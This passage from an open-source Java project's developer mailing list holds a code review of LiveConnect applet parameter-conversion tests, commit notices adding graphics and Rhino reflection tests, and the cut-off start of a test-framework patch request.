appendMessageDiv(e); > + } > +} > + > +function test_funcParam_String(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = "$??????"; > + var reply = document.getElementById( appletName > ).functionsParamTest(send); > + var expectedreply = "$??????:java.lang.String"; > + check(reply, expectedreply, "string", " 9 - (regular string)", > appletName); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_Integer(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = "32"; > + var reply = document.getElementById( appletName > ).functionIParamTest(send); > + var expectedreply = send+":java.lang.Integer" > + check(reply, expectedreply, "string", "10 - (Integer)", appletName); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_Double(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = 32.0; > + var reply = document.getElementById( appletName > ).functionDParamTest(send); > + var expectedreply = "32.0:java.lang.Double"; > + check(reply, expectedreply, "string", "11 - (Double)", appletName); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_Float(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = 32.01; > + var reply = document.getElementById( appletName > ).functionFParamTest(send); > + var expectedreply = send+":java.lang.Float" > + check(reply, expectedreply, "string", "12 - (Float)", appletName); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_Long(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = 4294967301; > + var reply = document.getElementById( appletName > ).functionLParamTest(send); > + var expectedreply = send+":java.lang.Long"; > + check(reply, expectedreply, "string", "13 - (Long)", appletName); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_Boolean(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = true; > + var reply = document.getElementById( appletName > ).functionBParamTest(send); > + var expectedreply = send+":java.lang.Boolean"; > + check(reply, expectedreply, "string", "14 - (Boolean)", appletName); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_Character(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = 80; > + var reply = document.getElementById( appletName > ).functionCParamTest(send); > + var expectedreply = send+":java.lang.Character"; > + check(reply, expectedreply, "string", "15 - (Character)", appletName); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_Byte(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var send = 12; > + var reply = document.getElementById( appletName > ).functionBParamTest(send); > + var expectedreply = send+":java.lang.Byte"; > + check(reply, expectedreply, "string", "16 - (Byte)", appletName); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} Expected results in general belong in the test-case (the class in testcases folder). It is brittle for the programs being tested to decide whether they are correct. (and is causing a lot of replication in this case) I don't think the try catches are necessary. Some eval-based refactoring should be used here, as you did in your previous patch. The general idea is pass whats needed to run the test from the testcase, have the applet print what happened, and check it in the testcase. For this test, since a java parameter cannot receive an object of an invalid type, testing for type is somewhat redundant. Printing the value in the applet should suffice. As well, you should pass the function name being called via the testcase too. The javascript should be left as a very simple test driver. > + > +function test_funcParam_StringIntMixed(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var arr = new Array(); > + arr[0] = "s1"; > + arr[1] = 42; I think "test" is a good test string, '1' is a good test integer. Construct this using data based from the test case, though (as you did in your previous patch) > + document.getElementById( appletName ).functionsiaParamTest(arr); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > +function test_funcParam_DummyObjectArray(){ > + var appletName = 'jstojFuncParamApplet'; > + try{ > + var arr = new Array(); > + arr[0] = new (document.getElementById( appletName > ).Packages).DummyObject("DummyObject1"); > + //arr[0] = new JSToJFuncParam.Packages.DummyObject("DummyObject1"); > + //arr[0] = new java.lang.String("DummyObject1"); > + arr[1] = new (document.getElementById( appletName > ).Packages).DummyObject("DummyObject2"); > + //arr[1] = new JSToJFuncParam.Packages.DummyObject("DummyObject2"); > + //arr[1] = new java.lang.String("DummyObject2"); > + var reply = document.getElementById( appletName > ).functioncomplexaParamTest(arr); > + check(reply, "DummyObject1:DummyObject2", "string", "18 - > (DummyObject[] - complex)", appletName); > + }catch(e){ > + appletStdOut( appletName, e ); > + appendMessageDiv(e); > + } > +} > + > diff --git > a/tests/reproducers/simple/JSToJFuncParam/resources/jstoj-funcparam.jnlp > b/tests/reproducers/simple/JSToJFuncParam/resources/jstoj-funcparam.jnlp > new file mode 100644 > --- /dev/null > +++ > b/tests/reproducers/simple/JSToJFuncParam/resources/jstoj-funcparam.jnlp > @@ -0,0 +1,23 @@ > + > + > + > + > + JavaScript to Java LiveConnect - FuncParam > + RedHat > + href="http://icedtea.classpath.org/wiki/IcedTea-Web#Testing_IcedTea-Web"/> > + LiveConnect - tests for function parameter conversion > when calling Java from JS. > + > + > + > + + href="http://java.sun.com/products/autodl/j2se"/> > + > + > + > + + name="JS to J FuncParam" > + main-class="JSToJFuncParam" > + width="1000" > + height="100"> > + > + > diff --git > a/tests/reproducers/simple/JSToJFuncParam/srcs/DummyObject.java > b/tests/reproducers/simple/JSToJFuncParam/srcs/DummyObject.java > new file mode 100644 > --- /dev/null > +++ b/tests/reproducers/simple/JSToJFuncParam/srcs/DummyObject.java > @@ -0,0 +1,15 @@ > +public class DummyObject { > + private String str; > + > + public DummyObject(String s) { > + this.str = s; > + } > + > + public void setStr(String s) { > + this.str = s; > + } > + > + public String toString() { > + return str; > + } > +} > diff --git > a/tests/reproducers/simple/JSToJFuncParam/srcs/JSToJFuncParam.java > b/tests/reproducers/simple/JSToJFuncParam/srcs/JSToJFuncParam.java > new file mode 100644 > --- /dev/null > +++ b/tests/reproducers/simple/JSToJFuncParam/srcs/JSToJFuncParam.java > @@ -0,0 +1,176 @@ > +import java.applet.*; > +import java.awt.*; > + > +public class JSToJFuncParam extends Applet { > + > + public String[] outputStrings = { "Test no. 1 - (int)", > + "Test no. 2 - (double)", "Test no. 3 - (float)", > + "Test no. 4 - (long)", "Test no. 5 - (boolean)", > + "Test no. 6 - (char)", "Test no. 7 - (byte)", > + "Test no. 8 - (char[] - simple primitive)", > + "Test no. 9 - (regular string)", "Test no.10 - (Integer)", > + "Test no.11 - (Double)", "Test no.12 - (Float)", > + "Test no.13 - (Long)", "Test no.14 - (Boolean)", > + "Test no.15 - (Character)", "Test no.16 - (Byte)", > + "Test no.17 - (String/Int[] - mixed)", > + "Test no.18 - (DummyObject[] - complex)" }; > + > + private Label statusLabel; > + > + public void init() { > + setLayout(new BorderLayout()); > + statusLabel = new Label(); > + add(statusLabel); > + String initStr = "JSToJFuncParam applet initialized."; > + System.out.println(initStr); > + statusLabel.setText(initStr); > + } > + > + public void functioniParamTest(int i) { > + String ret = Integer.toString(i); > + checkAndOutput(0, i == 1, true, "1", ret); > + } > + > + public void functiondParamTest(double d) { > + String ret = Double.toHexString(d); > + String h = Double.toHexString(1.1); > + checkAndOutput(1, d == 1.1, true, h, ret); > + } > + > + public void functionfParamTest(float f) { > + String ret = Float.toHexString(f); > + Float F = new Float("1.11"); > + String h = Float.toHexString(F); > + checkAndOutput(2, h.equals(ret), true, h, ret); > + } > + > + public void functionlParamTest(long l) { > + String ret = Long.toString(l); > + checkAndOutput(3, l == 4294967300L, true, "4294967300", ret); > + } > + > + public void functionbParamTest(boolean b) { > + String ret = Boolean.toString(b); > + checkAndOutput(4, b == true, true, "true", ret); > + } > + > + public void functioncParamTest(char c) { > + String ret = Character.toString(c); > + checkAndOutput(5, c == 'K', true, "K", ret); > + } > + > + public void functionbyParamTest(byte b) { > + String ret = Byte.toString(b); > + checkAndOutput(6, b == 76, true, "76", ret); > + } > + > + public void functioncaParamTest(char[] ca) { > + > + String ret = ""; > + ret += ca[0]; > + for (int i = 1; i < ca.length; i++) { > + ret += ":" + ca[i]; > + } > + > + checkAndOutput(7, (ca[0] == 'P') && (ca[1] == 'Q'), true, "P:Q", ret); > + } > + > + public String functionsParamTest(String s) { > + return s + ":" + s.getClass().getName(); > + } > + > + public String functionIParamTest(Integer p) { > + String ret = p.toString() + ":" + p.getClass().getName(); > + return ret; > + } > + > + public String functionDParamTest(Double p) { > + String ret = p.toString() + ":" + p.getClass().getName(); > + return ret; > + } > + > + public String functionFParamTest(Float p) { > + String ret = p.toString() + ":" + p.getClass().getName(); > + return ret; > + } > + > + public String functionLParamTest(Long p) { > + String ret = p.toString() + ":" + p.getClass().getName(); > + return ret; > + } > + > + public String functionBParamTest(Boolean p) { > + String ret = p.toString() + ":" + p.getClass().getName(); > + return ret; > + } > + > + public String functionCParamTest(Character p) { > + String ret = p.toString() + ":" + p.getClass().getName(); > + return ret; > + } > + > + public String functionBParamTest(Byte p) { > + String ret = p.toString() + ":" + p.getClass().getName(); > + return ret; > + } > + > + public void functionsiaParamTest(String[] s) { > + > + String ret = s[0]; > + for (int i = 1; i < s.length; i++) { > + ret += ":" + s[i]; > + } > + checkAndOutput(16, (s[0].equals("s1")) && (s[1].equals("42")), true, > + "s1:42", ret); > + } > + > + public String functioncomplexaParamTest(DummyObject[] ca) { > + String ret = ca[0].toString(); > + for (int i = 1; i < ca.length; i++) { > + ret += ":" + ca[i].toString(); > + } > + > + return ret; > + } These should all simply print out the value via System.out.println(..); In the case of arrays you can use System.out.println(Arrays.toString(..)); I think the names could also be shorter, eg I think the resulting class should look like ... public class JSToJFuncParam extends Applet { public void intParam(int i) { System.out.println(i); } public void floatParam(float f) { System.out.println(f); } // etc... } All the checking code should be in testcases/ > + > + // auxiliary methods writing fail/pass to stdout > + public void checkAndOutput(int index, boolean valsEq, boolean typesEq, > + String expected, String found) { > + String outStr = ""; > + if (valsEq) { > + if (typesEq) { > + outStr = outputStrings[index] + " - passed."; > + } else { > + outStr = outputStrings[index] + " - failed, type mismatch"; > + outStr += " expected:[" + expected + "] found:[" + found + "]."; > + } > + } else { > + outStr = outputStrings[index] + " - failed, value mismatch"; > + outStr += " expected:[" + expected + "] found:[" + found + "]."; > + } > + System.out.println(outStr); > + statusLabel.setText(outStr); > + } > + > + // auxiliary method for setting the statusLabel text: > + public void setStatusLabel(String s) { > + statusLabel.setText(s); > + } > + > + // auxiliary methods for writing to stdout and stderr: > + public void stdOutWrite(String s) { > + System.out.print(s); > + } > + > + public void stdErrWrite(String s) { > + System.err.print(s); > + } > + > + public void stdOutWriteln(String s) { > + System.out.println(s); > + } > + > + public void stdErrWriteln(String s) { > + System.err.println(s); > + } > +} > diff --git > a/tests/reproducers/simple/JSToJFuncParam/testcases/JSToJFuncParamTest.javab/tests/reproducers/simple/JSToJFuncParam/testcases/JSToJFuncParamTest.java > new file mode 100644 > --- /dev/null > +++ > b/tests/reproducers/simple/JSToJFuncParam/testcases/JSToJFuncParamTest.java > @@ -0,0 +1,278 @@ > +/* JSToJFuncParamTest.java > +Copyright (C) 2012 Red Hat, Inc. > + > +This file is part of IcedTea. > + > +IcedTea is free software; you can redistribute it and/or > +modify it under the terms of the GNU General Public License as > published by > +the Free Software Foundation, version 2. > + > +IcedTea is distributed in the hope that it will be useful, > +but WITHOUT ANY WARRANTY; without even the implied warranty of > +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU > +General Public License for more details. > + > +You should have received a copy of the GNU General Public License > +along with IcedTea; see the file COPYING. If not, write to > +the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, > Boston, MA > +02110-1301 USA. > + > +Linking this library statically or dynamically with other modules is > +making a combined work based on this library. Thus, the terms and > +conditions of the GNU General Public License cover the whole > +combination. > + > +As a special exception, the copyright holders of this library give you > +permission to link this library with independent modules to produce an > +executable, regardless of the license terms of these independent > +modules, and to copy and distribute the resulting executable under > +terms of your choice, provided that you also meet, for each linked > +independent module, the terms and conditions of the license of that > +module. An independent module is a module which is not derived from > +or based on this library. If you modify this library, you may extend > +this exception to your version of the library, but you are not > +obligated to do so. If you do not wish to do so, delete this > +exception statement from your version. > + */ > + > +import net.sourceforge.jnlp.ProcessResult; > +import net.sourceforge.jnlp.ServerAccess; > +import net.sourceforge.jnlp.browsertesting.BrowserTest; > +import net.sourceforge.jnlp.browsertesting.Browsers; > +import net.sourceforge.jnlp.closinglisteners.CountingClosingListener; > +import net.sourceforge.jnlp.annotations.NeedsDisplay; > +import net.sourceforge.jnlp.annotations.TestInBrowsers; > +import org.junit.Assert; > + > +import org.junit.Test; > + > +public class JSToJFuncParamTest extends BrowserTest { > + > + public String[] testNames = { "int", "double", "float", "long", > "boolean", > + "char", "byte", "charArray", "String", "Integer", "Double", > + "Float", "Long", "Boolean", "Character", "Byte", "StringIntMixed", > + "DummyObjectArray" }; > + > + public String[] outputStrings = { "Test no. 1 - (int)", > + "Test no. 2 - (double)", "Test no. 3 - (float)", > + "Test no. 4 - (long)", "Test no. 5 - (boolean)", > + "Test no. 6 - (char)", "Test no. 7 - (byte)", > + "Test no. 8 - (char[] - simple primitive)", > + "Test no. 9 - (regular string)", "Test no.10 - (Integer)", > + "Test no.11 - (Double)", "Test no.12 - (Float)", > + "Test no.13 - (Long)", "Test no.14 - (Boolean)", > + "Test no.15 - (Character)", "Test no.16 - (Byte)", > + "Test no.17 - (String/Int[] - mixed)", > + "Test no.18 - (DummyObject[] - complex)" }; > + > + public String passStr = " - passed."; > + public String failValStr = " - failed, value mismatch."; > + public String failTypeStr = " - failed, type mismatch."; > + public String expStr = "expected:["; > + public String foundStr = "] found:["; > + public String endStr = "]."; > + > + private final String exceptionStr = "xception"; > + private final String initStr = "JSToJFuncParam applet initialized."; > + private final String afterStr = "afterTests"; > + > + private class CountingClosingListenerImpl extends > CountingClosingListener { > + > + @Override > + protected boolean isAlowedToFinish(String s) { > + if (s.contains(exceptionStr)) { > + return true; > + } > + return (s.contains(initStr) && s.contains(afterStr)); > + } > + } > + > + private void evaluateStdoutContents(int index, ProcessResult pr) { > + // Assert that the applet was initialized. > + Assert.assertTrue("JSToJFuncParamTest stdout should contain \"" > + + initStr + "\" but it didn't.", pr.stdout.contains(initStr)); > + > + // Assert that the tests have passed. > + String s0 = outputStrings[index] + passStr; > + String s1 = outputStrings[index] + failValStr; > + String s2 = outputStrings[index] + failTypeStr; > + String s3 = "Error on Java side"; > + > + int ind0 = pr.stdout.indexOf(s0); > + int ind1 = pr.stdout.indexOf(s1); > + int ind2 = pr.stdout.indexOf(s2); > + int ind3 = pr.stdout.indexOf(s3); > + int indBegin = pr.stdout.indexOf(initStr); > + if (indBegin != -1) { > + indBegin += initStr.length(); > + } else { > + indBegin = 0; > + } > + > + String failStr = "JSToJFuncParam " + outputStrings[index] > + + ": \"passed\" not found in the applet stdout, which is: " > + + pr.stdout.substring(indBegin, pr.stdout.length()); > + > + if (ind1 != -1) { > + // int inde = pr.stdout.indexOf(expStr); > + // int indf = pr.stdout.indexOf(foundStr); > + int indend = pr.stdout.indexOf(endStr); > + failStr = pr.stdout.substring(ind1, indend + endStr.length()); > + } > + > + if (ind2 != -1) { > + // int inde = pr.stdout.indexOf(expStr); > + // int indf = pr.stdout.indexOf(foundStr); > + int indend = pr.stdout.indexOf(endStr); > + failStr = pr.stdout.substring(ind2, indend + endStr.length()); > + } > + > + if (ind3 != -1) { > + failStr = "JSToJFuncParam: " + outputStrings[index] > + + pr.stdout.substring(ind3, pr.stdout.length()); > + } > + > + Assert.assertTrue(failStr, (ind3 == -1));// no error on Java side > + Assert.assertTrue(failStr, (ind1 == -1));// no value mismatch > + Assert.assertTrue(failStr, (ind2 == -1));// no type mismatch > + Assert.assertTrue(failStr, (ind0 != -1));// test passed > + > + } > + > + private void genericJSToJavaFuncParamTestMethod(int index) throws > Exception { > + > + String strURL = "/JSToJFuncParam.html?" + testNames[index]; > + ProcessResult pr = server.executeBrowser(strURL, > + new CountingClosingListenerImpl(), > + new CountingClosingListenerImpl()); > + evaluateStdoutContents(index, pr); > + > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_int_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(0); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_double_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(1); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_float_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(2); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_long_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(3); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_boolean_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(4); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_char_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(5); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_byte_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(6); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_charArray_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(7); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_String_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(8); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_Integer_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(9); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_Double_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(10); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_Float_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(11); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_Long_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(12); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_Boolean_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(13); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_Character_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(14); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_Byte_Test() throws Exception { > + genericJSToJavaFuncParamTestMethod(15); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_StringIntMixed_Test() throws > Exception { > + genericJSToJavaFuncParamTestMethod(16); > + } > + > + @Test > + @TestInBrowsers(testIn = { Browsers.all }) > + @NeedsDisplay > + public void AppletJSToJFuncParam_DummyObjectArray_Test() throws > Exception { > + genericJSToJavaFuncParamTestMethod(17); > + } > + > +} These functions should all pass strings to use with 'eval' like in your previous test. They should contain the method to call as well as the value as a string / a 'special value' indicator. Happy hacking, -Adam From ptisnovs at icedtea.classpath.org Thu Dec 13 01:36:53 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Thu, 13 Dec 2012 09:36:53 +0000 Subject: /hg/gfx-test: Added nine new tests to the test suite src/org/gfx... Message-ID: changeset 9c43ef8b6cd6 in /hg/gfx-test details: http://icedtea.classpath.org/hg/gfx-test?cmd=changeset;node=9c43ef8b6cd6 author: Pavel Tisnovsky date: Thu Dec 13 10:39:57 2012 +0100 Added nine new tests to the test suite src/org/gfxtest/testsuites/BitBltUsingBgColor.java. diffstat: ChangeLog | 7 +- src/org/gfxtest/testsuites/BitBltUsingBgColor.java | 120 +++++++++++++++++++++ 2 files changed, 126 insertions(+), 1 deletions(-) diffs (147 lines): diff -r 76335aa60853 -r 9c43ef8b6cd6 ChangeLog --- a/ChangeLog Wed Dec 12 11:07:14 2012 +0100 +++ b/ChangeLog Thu Dec 13 10:39:57 2012 +0100 @@ -1,7 +1,12 @@ +2012-12-13 Pavel Tisnovsky + + * src/org/gfxtest/testsuites/BitBltUsingBgColor.java: + Added nine new tests to this test suite. + 2012-12-12 Pavel Tisnovsky * src/org/gfxtest/testsuites/Paths.java: - Added new tests to this test case. + Added new tests to this test suite. 2012-12-11 Pavel Tisnovsky diff -r 76335aa60853 -r 9c43ef8b6cd6 src/org/gfxtest/testsuites/BitBltUsingBgColor.java --- a/src/org/gfxtest/testsuites/BitBltUsingBgColor.java Wed Dec 12 11:07:14 2012 +0100 +++ b/src/org/gfxtest/testsuites/BitBltUsingBgColor.java Thu Dec 13 10:39:57 2012 +0100 @@ -646,6 +646,126 @@ } /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.black. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundBlack(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.black); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.blue. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundBlue(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.blue); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.green. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundGreen(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.green); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.cyan. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundCyan(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.cyan); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.red. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundRed(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.red); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.magenta. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundMagenta(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.magenta); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.yellow. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundYellow(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.yellow); + } + + /** + * Test basic BitBlt operation for empty buffered image with type TYPE_INT_BGR. + * Background color is set to Color.white. + * + * @param image + * image to used as a destination for BitBlt-type operations + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testBitBltEmptyBufferedImageTypeIntBGRbackgroundWhite(TestImage image, Graphics2D graphics2d) + { + return doBitBltEmptyBufferedImageTypeIntBGR(image, graphics2d, Color.white); + } + + /** * Entry point to the test suite. * * @param args not used in this case From ptisnovs at icedtea.classpath.org Thu Dec 13 01:43:17 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Thu, 13 Dec 2012 09:43:17 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset 90ebe9af7914 in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=90ebe9af7914 author: Pavel Tisnovsky date: Thu Dec 13 10:46:21 2012 +0100 Added three new tests into the test case src/org/RhinoTests/SimpleBindingsClassTest.java. diffstat: ChangeLog | 8 ++ src/org/RhinoTests/SimpleBindingsClassTest.java | 75 +++++++++++++++++++++++++ 2 files changed, 83 insertions(+), 0 deletions(-) diffs (114 lines): diff -r 0fc35b431d2e -r 90ebe9af7914 ChangeLog --- a/ChangeLog Wed Dec 12 11:25:42 2012 +0100 +++ b/ChangeLog Thu Dec 13 10:46:21 2012 +0100 @@ -1,3 +1,11 @@ +2012-12-13 Pavel Tisnovsky + + * src/org/RhinoTests/SimpleBindingsClassTest.java: + Added three new tests into this test case: + - getAnnotations() + - getDeclaredAnnotations() + - getField() + 2012-12-12 Pavel Tisnovsky * src/org/RhinoTests/SimpleScriptContextClassTest.java: diff -r 0fc35b431d2e -r 90ebe9af7914 src/org/RhinoTests/SimpleBindingsClassTest.java --- a/src/org/RhinoTests/SimpleBindingsClassTest.java Wed Dec 12 11:25:42 2012 +0100 +++ b/src/org/RhinoTests/SimpleBindingsClassTest.java Thu Dec 13 10:46:21 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -379,6 +380,28 @@ } /** + * Test for method javax.script.SimpleBindings.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.simpleBindingsClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.SimpleBindings.getClass().getMethods() */ protected void testGetMethods() { @@ -503,6 +526,58 @@ } /** + * Test for method javax.script.SimpleBindings.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.simpleBindingsClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.SimpleBindings.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.simpleBindingsClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.SimpleBindings */ @SuppressWarnings("cast") From jfabriko at redhat.com Thu Dec 13 02:03:28 2012 From: jfabriko at redhat.com (Jana Fabrikova) Date: Thu, 13 Dec 2012 11:03:28 +0100 Subject: [rfc][icedtea-web] additions to test-extensions needed for the new AWTFramework Message-ID: <50C9A7F0.3000201@redhat.com> 2012-12-13 Jana Fabrikova * /tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java: Added several new versions of method executeBrowser with lists of ContentReaderListeners as arguments. * /tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java: Added new versions of the constructor and methods for adding ContentReaderListeners using List instead of one ContentReaderListener. Added a new version of constructor with less arguments (used in case when several arguments would be passed as null, thus causing ambiguity). * /tests/reproducers/simple/SingeInstanceServiceTest/testcases/SingleInstanceTest.java: Modified the call of executeBrowser method with null arguments into a call of new method without the null arguments (getting rid of an ambiguous call). I would like to ask for review of the attached 